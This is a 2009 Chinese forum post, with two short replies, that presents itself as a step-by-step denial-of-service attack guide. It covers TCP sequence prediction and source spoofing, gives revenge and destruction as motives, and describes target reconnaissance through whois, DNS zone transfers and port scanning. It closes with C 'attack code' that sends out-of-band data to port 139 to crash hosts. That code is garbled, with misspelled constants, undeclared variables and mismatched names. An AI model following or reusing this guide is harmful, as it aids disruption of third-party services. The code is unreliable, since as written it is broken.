计算机技术论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

  • 欢迎访问 计算机技术论坛-电脑迷与初学者的家园!由于论坛管理严格,新注册会员可能遇到各种问题,无法解决的请发邮件 admin@jsjbbs.cn
查看: 2857|回复: 2

拒绝服务器攻击流程(D.O.S)[

[复制链接]
发表于 2009-5-23 13:51:26 | 显示全部楼层 |阅读模式
概述:
一.网络的不安全性
(1).漏洞的由来
1).设计错误---windows 2000/NT 认证的协议
2).编码错误---缓冲区溢出.脚本.格式化串漏洞等等
3).安全策略的实施错误--Web服务可以通过“。。”返回上一层。
4).安全策略对象的岥义--IIS为例:”a.asp.+htr”就可以获得到ASP脚本源码.
5).后门--这个主要是设计人员留下来的.
(2).安全补丁
尽管你的计算机打上了安全的补丁.也未必能够安全.仍然有少数的补丁会出现拒服务器的漏洞.例个最常见的.像windows xp 发现有漏洞的时候.微软打上了sp1.但也迅速出现了严重的安全漏洞.也因此打上了sp2.
         
二.实行拒绝服务器攻击需要相对的了解有关的协议.像TCP/IP.最为常见的.这里举个”三次握手”漏洞.(由Morris发现)
   C-S:SYN(ISNC)
   S-C:SYN(ISNS),ACK(ISNC)
   C-S:ACK(ISNC)
   C-S:DATA
   S-C:DATA
>>建立一个会话.(必须首先接收到ISNS.此时数据为随机性数)
>>预测ISNS
>>冒充主机T(受信任)
   X-S:SYN(ISNX).SRC=T
   S-T:SYN(ISNS),ACK(ISNX)
   X-S:ACK(ISNS),SRC=T
   X-S:ACK(ISNS),SRC=T,DATA
三.拒绝服务器攻击的作用.
1.初学者练习.
2.报复.
3.破坏.
4.信息战争.
5.铺助手段
其中的铺助手段可以为提权.非法访问.不过如果是单一的拒绝服务器攻击是来达到提权.非法访问是不可行的.
知道一些有关拒绝服务器攻击的基础知识后.下面我们就来看看相关的攻击的典型过程.
四.拒绝服务攻击过程.
攻击的流程:
1.        获取信息.
2.        筛选信息.
3.        占领傀儡机.
4.        实施攻击.
----获取信息----
在这里难免会有人奇怪的问,用modem连接PC.然后对大型的网站进行轰炸呢?这样子不就可以了?
其实不然.这种做法不但没有达到攻击效果.还让自己的网络弄的一塌糊涂.当然也不可能不可行的.你可以编写一个剧毒包的数据包(代码见文章未)也是可以达到的.但是专业的攻击者.有经验的黑客都不会盲目的进行.一来是法律的不断健全.二来攻击效果更明显.
但是我们如何进行获取信息的呢?
1.        whois命令
2.        DNS域发送
3.        网络查看
4.        网络扫描
[whois命令]
whois是提供Internet目录服务.它可包括:姓名.地址.电话.邮箱等等信息.而且采用的是C/S结构.数据的来源是网站的提供:
Http://www.networksolution.com
Http://www.arin.net
Http://www.ipswitch.com
Http://samspade.org
(有很多.我只举例几个.)
比如我们要查询百度:
Http://whois .baidu.com 就可以找到相关的信息.像.注册机构.机构本身.域名.网络.联系人.
使用方法: (在Linux下)
$ whois –h whois.internet.net baidu.com
这个是说明向whois.internet.net查询百度.
Windows家族的朋友可以使用nslookup命令.详细方法在下面的DNS查询中.

[DNS域发送]
DNS是一个包含各种主机相关信息的分布式数据据库.
查看DNS的工具有:Dig . nslookup . SolarWinds . Sam Spade
我们不能使用单一的DNS来进行查询.方法可行.但是问题是有大量的垃圾信息.不但费时.费力.而且很不明智.并会在搜索中得到很多的冗长的DNS记录.

>>DNS域传送区域入手<<
我以一张表格来说明:

类型        用法        探测信息
NS(域名服务器)        nslookup:
Set q=ns
targetdomain.com
dig
dig targetdomain.com ns        NS记录了识别主机和从域名服务器.一但被识别.就可查看到特定的区域传送了.
A-Ipv4   AAAA-Ipv6记录        nslookup:
Set q=a
targetdomain.com
dig targetdomain.com a        A为提供主机的映身.执行A.则可以返回主机IP地址.
PTR(反向查询)        nslookup:
Set q=ptr
*.*.*.* in-addr.arpa
dig
dig *.*.*.* in-addr.arpa ptr        返回一个给定的目标的主机的主机名.
MX(邮件服务)        nslookup:
Set q=mx
targetdomain.com
dig
dig targetdomain.com mx        MX可以针对查询目标域返回邮件服务器列表.可获得SMTP.对于黑客来说这个就是有用了.
HINFO(主机信息)        nslookup:
Set q=hinfo
targetdomain.com
dig
dig targetdomain.com hinfo        顾名思义.既然为主机信息.那么返回的就是主机的操作系统.配置信息等.而且这个很多人都会忘记.也因此对于黑客来说也是很有用的.
TXT(文本信息)        nslookup:
Set q=txt
targetdomain.com
ding
dig targetdomain.com txt        这个是类同于HINFO主机信息的.也是返回主机信息.而且也是常被人忘了一种.
SRV(服务)        nslookup:
Set q=srv
targetdomain.com
dig
dig targetdomain.com srv        这个可以说是最有用的.因为它将主机的SRV服务映射本地主机.这些服务我们就可以知道当前的操作系统和活动目录了.像:WIN2000.
要执行区域的传送.可以在交互的模式下使用客户端的工具.选项为:”xfer”如上面所说的工具.
$ nslookup:
Default Server:ns1.localnsserver.com
Address:*.*.*.*
>>首先nslookup使用目标主机域名服务器来进行区域传送.
>Server ns1.targetdomain.com
Default Server:[ns1.targetdomain.com]
Address:*.*.*.*
使用参数”ls –d “执行到本地文件系统(文件:targetorganization.com.dns)
>Set type=any
>ls –d targetorganization.com
>>/tmp/ targetorganization.com
输出的内容:
[ns1. targetorganization.com]
targetorganization.com SOA
ns1. targetorganization.com
dnsadmin. targetorganization.com(1004028738 144000 7200 864000 300)
t. targetorganization.com . NS
t. targetorganization.com . NS
ns1. targetorganization.com . A *.*.*.*
ns2. targetorganization.com . A *.*.*.*
ns2. targetorganization.com . MX Mail . targetorganization.com
mail                        .  A  *.*.*.*
www                       .  A  *.*.*.*
>
[网络查看]
说白了点就是使用traceroute对目标进行跟踪.
像:traceroute www.baidu.com
具体的方法这里不给出.因为网络有很详细的教程.你只要百度一下就行了.

[网络扫描]
有句老话:工欲用其器.必先利其器.我们可以使用工具来进行扫描.当然也不能是盲目乱扫描一通咯.先来了解一下扫描方式吧.
按协议分为:ICMP . TCP . UDP .
>>>>ICMP: TCMP Echo消息:例如:我常用的ping命令就是使用这个协议来进行的.
>>>>TCP: TCP-SYN .TCP-FIN .TCP扫描.
TCP-SYN:就是TCP ping 扫描.
TCP-FIN:这个是扫描器中常用的.如下:
X-&#61664;S:FIN
S-&#61664;X:RST-&#61664;端口关闭
S-&#61664;X:NULL 返回空
这种方式的扫描.使得你的身份十分的隐蔽.
这里有一点要分一下:TCMP Ping 和TCP ping命名不一样的.
第一个是因为作用而得名的.而第二个则是因为消息得名的.
TCP扫描:这个是正常式的扫描.:
X-&#61664;S:data
S-&#61664;X:data(s)
S-&#61664;X:Error(s)
就可以看出这种方式的扫描使你的身份都暴露了.因为你所发送的数据都会被一一的记下.
附:攻击代码
/*这个是我模拟eci剧毒数据包来写的.*/
/*RedHat(Linux)系统下编程(C语言)*/
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define Port 139

struct sockaddr add;
struct host * hst;
int CreType(int sock,char * server,int point);

int main(int argc, _TCHAR* argv[])
{
        int i,j;
        char * str="End!";
        if(argc!=2)
        {
                printf("Error!");
                exit(0);
        }
        if((j=socket(AF_INET,SOCK_STREAM,IPPRTO_TCP))==-1)
        {
                perror("Error!");
                exit(-1);
        }
        CreType(j,argv[1],Point);
        Send(j,str,strlen(str),MSG_OOB);
        usleep(100000);
        printf("Finish!");
        close(j);
        return 0;
}

int CreType(int sock,char * server,int point)
{
        struct sockaddr add_;
        struct host * hst_;
        bzero((char *)&addr,sizeof(addr_));
        addr_.sin_family=AF_INEF;
        addr_.sin_addr.s_addr=inet_addr(server);
        addr.sin_port=htons(port);
        if((he=GetHostByName(server))!=NULL)
        {
                bcopy(hst_->h_Addr,(char *)&add_.sin_addr,hst_->h_length);
        }
        else
        {
                if(add_.sin_addr.s_addr=inet_addr(server)<0)
                {
                        perror("Error!");
                        return (-3);
                }
        }
        if(connect(sock,(struct sockaddr *)&add_,16)==-1)
        {
                perror("Error!");
                close(sock);
                return (-4);
        }
        printf("Connect ok!");
        return;
}
发表于 2009-12-10 14:20:15 | 显示全部楼层
收下了啊,...
发表于 2010-2-24 10:27:05 | 显示全部楼层
谢谢LZ分享
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

无图版|手机版|计算机技术论坛 JSJBBS.CN @ 2008-2024 ( 鲁ICP备17021708号 )

技术支持 : 北京康盛新创科技有限责任公司

快速回复 返回顶部 返回列表